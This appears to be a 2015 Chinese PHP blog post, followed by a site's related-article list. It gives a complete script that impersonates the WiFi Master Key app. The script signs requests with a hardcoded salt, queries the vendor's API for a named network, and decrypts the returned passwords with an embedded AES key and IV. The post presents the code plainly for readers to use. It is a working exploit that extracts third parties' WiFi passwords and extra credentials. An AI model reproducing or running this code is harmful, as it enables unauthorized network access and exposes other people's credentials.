WIFI万能钥匙密码查询接口实例


Posted in PHP onSeptember 28, 2015

不废话了,直接给大家贴代码了

<?php //some code from http://www.wooyun.org/bugs/wooyun-2015-099268
$bssid = "c8:3a:35:fa:b8:80" ;
$ssid = "Podinns2F03" ;
if (isset( $bssid ) && isset( $ssid )){
//update salt
   $ret = request( $bssid , $ssid , md5(rand(1, 10000)));
   $ret = json_decode( $ret );
   $ret = request( $bssid , $ssid , $ret ->retSn);
   $ret = json_decode( $ret );
   if ( $ret ->retCd == 0){
     if ( $ret ->qryapwd->retCd == 0){
       $list = $ret ->qryapwd->psws;
       foreach ( $list as $wifi ){
         echo 'SSID: ' . $wifi ->ssid. "\n" ;
         echo 'PWD: ' .decryptStrin( $wifi ->pwd). "\n" ;
         echo 'BSSID: ' . $wifi ->bssid. "\n" ;
         if ( $wifi ->xUser){
           echo 'xUser: ' . $wifi ->xUser. "\n" ;
           echo 'xPwd: ' . $wifi ->xPwd. "\n" ;
         }
       }
     }
     else {
       echo $ret ->qryapwd->retMsg;
     }
   }
}
function request( $bssid , $ssid , $salt , $dhid = 'ff8080814cc5798a014ccbbdfa375369' ){
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getDeepSecChkSwitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
   $curl = curl_init();
   curl_setopt( $curl , CURLOPT_URL, 'http://wifiapi02.51y5.net/wifiapi/fa.cmd' );
   curl_setopt( $curl , CURLOPT_USERAGENT, 'WiFiMasterKey/1.1.0 (Mac OS X Version 10.10.3 (Build 14D136))' );
   curl_setopt( $curl , CURLOPT_SSL_VERIFYPEER, false); // stop verifying certificate
   curl_setopt( $curl , CURLOPT_RETURNTRANSFER, true);
   curl_setopt( $curl , CURLOPT_POST, true); // enable posting
   curl_setopt( $curl , CURLOPT_POSTFIELDS, http_build_query( $data )); // post images
   curl_setopt( $curl , CURLOPT_FOLLOWLOCATION, true); // if any redirection after upload
   $r = curl_exec( $curl );
   curl_close( $curl );
   return $r ;
}
function registerNewDevice(){
   $salt = '1Hf%5Yh&7Og$1Wh!6Vr&7Rs!3Nj#1Aa$' ;
   $data = array ();
   $data [ 'appid' ] = '0008' ;
   $data [ 'bssid' ] = $bssid ;
   $data [ 'chanid' ] = 'gw' ;
   $data [ 'dhid' ] = $dhid ;
   $data [ 'ii' ] = '609537f302fc6c32907a935fb4bf7ac9' ;
   $data [ 'lang' ] = 'cn' ;
   $data [ 'mac' ] = '60f81dad28de' ;
   $data [ 'method' ] = 'getDeepSecChkSwitch' ;
   $data [ 'pid' ] = 'qryapwd:commonswitch' ;
   $data [ 'ssid' ] = $ssid ;
   $data [ 'st' ] = 'm' ;
   $data [ 'uhid' ] = 'a0000000000000000000000000000001' ;
   $data [ 'v' ] = '324' ;
   $data [ 'sign' ] = sign( $data , $salt );
}
function sign( $array , $salt ){
   // 签名算法
   $request_str = '' ;
   // 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort
   ksort( $array );
   foreach ( $array as $key => $value ) {
     $request_str .= $value ;
   }
   $sign = md5( $request_str . $salt );
   return strtoupper ( $sign );
}
function decryptStrin( $str , $keys = 'k%7Ve#8Ie!5Fb&8E' , $iv = 'y!0Oe#2Wj#6Pw!3V' , $cipher_alg =MCRYPT_RIJNDAEL_128){
   //Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密
   //[length][password][timestamp]
   $decrypted_string = mcrypt_decrypt( $cipher_alg , $keys , pack( "H*" , $str ),MCRYPT_MODE_CBC, $iv );
   return substr (trim( $decrypted_string ),3,-13);
} ?>

以上代码很简单吗,WIFI万能钥匙密码查询接口代码就全部写完了,希望大家喜欢。

PHP 相关文章推荐
把1316这个数表示成两个数的和,其中一个为13的倍数,另一个是11的倍数,求这两个数。
Jun 24 PHP
基于PHP中的常用函数回顾
Jul 11 PHP
PHP中spl_autoload_register()和__autoload()区别分析
May 10 PHP
PHP图片等比例缩放生成缩略图函数分享
Jun 10 PHP
PHP高手需要要掌握的知识点
Aug 21 PHP
详解WordPress中分类函数wp_list_categories的使用
Jan 04 PHP
Symfony2框架学习笔记之表单用法详解
Mar 18 PHP
thinkPHP js文件中U方法不被解析问题的解决方法
Dec 05 PHP
Paypal实现循环扣款(订阅)功能
Mar 23 PHP
php使用环形链表解决约瑟夫问题完整示例
Aug 07 PHP
php图片裁剪函数
Oct 31 PHP
php面试中关于面向对象的相关问题
Feb 13 PHP
百万级别知乎用户数据抓取与分析之PHP开发
Sep 28 #PHP
培养自己的php编码规范
Sep 28 #PHP
ThinkPHP数据操作方法总结
Sep 28 #PHP
ThinkPHP表单数据智能写入create方法实例分析
Sep 27 #PHP
PHP+MySQL之Insert Into数据插入用法分析
Sep 27 #PHP
ThinkPHP中数据操作案例分析
Sep 27 #PHP
PHP中两个float(浮点数)比较实例分析
Sep 27 #PHP
You might like
php print EOF实现方法
2009/05/21 PHP
PHP生成唯一订单号
2015/07/05 PHP
PHP微信模板消息操作示例
2017/06/29 PHP
javascript 装载iframe子页面,自适应高度
2009/03/20 Javascript
半角全角相互转换的js函数
2009/10/16 Javascript
JavaScript中OnLoad几种使用方法
2012/12/15 Javascript
Extjs4 Treegrid 使用心得分享(经验篇)
2013/07/01 Javascript
jquery对象和javascript对象即DOM对象相互转换
2014/08/07 Javascript
详解jQuery中的元素的属性和相关操作
2015/08/14 Javascript
移动端横屏的JS代码(beta)
2016/05/16 Javascript
js控制li的隐藏和显示实例代码
2016/10/15 Javascript
详解网站中图片日常使用以及优化手法
2017/01/09 Javascript
Angularjs实现多图片上传预览功能
2018/07/18 Javascript
深入理解JavaScript 中的匿名函数((function() {})();)与变量的作用域
2018/08/28 Javascript
JavaScript实现更换背景图片
2019/10/18 Javascript
小程序自动化测试的示例代码
2020/08/11 Javascript
[56:57]LGD vs VP 2019DOTA2国际邀请赛淘汰赛 胜者组赛BO3 第一场 8.20.mp4
2019/08/22 DOTA
[49:43]VG vs FNATIC 2019国际邀请赛小组赛 BO2 第一场 8.15
2019/08/17 DOTA
详解Django中的权限和组以及消息
2015/07/23 Python
python中函数默认值使用注意点详解
2016/06/01 Python
Python爬虫代理IP池实现方法
2017/01/05 Python
python数据结构之链表详解
2017/09/12 Python
Python排序搜索基本算法之希尔排序实例分析
2017/12/09 Python
python提取xml里面的链接源码详解
2019/10/15 Python
python cv2在验证码识别中应用实例解析
2019/12/25 Python
给排水工程师岗位职责
2013/11/21 职场文书
《老山界》教学反思
2014/04/08 职场文书
教师党员公开承诺事项
2014/05/28 职场文书
借款协议书
2014/09/16 职场文书
不同意离婚代理词
2015/05/23 职场文书
贫民窟的百万富翁观后感
2015/06/09 职场文书
归途列车观后感
2015/06/17 职场文书
毕业班班主任工作总结2015
2015/07/23 职场文书
2016年领导干部廉政承诺书
2016/03/24 职场文书
VUE中的v-if与v-show区别介绍
2022/03/13 Vue.js
redis复制有可能碰到的问题汇总
2022/04/03 Redis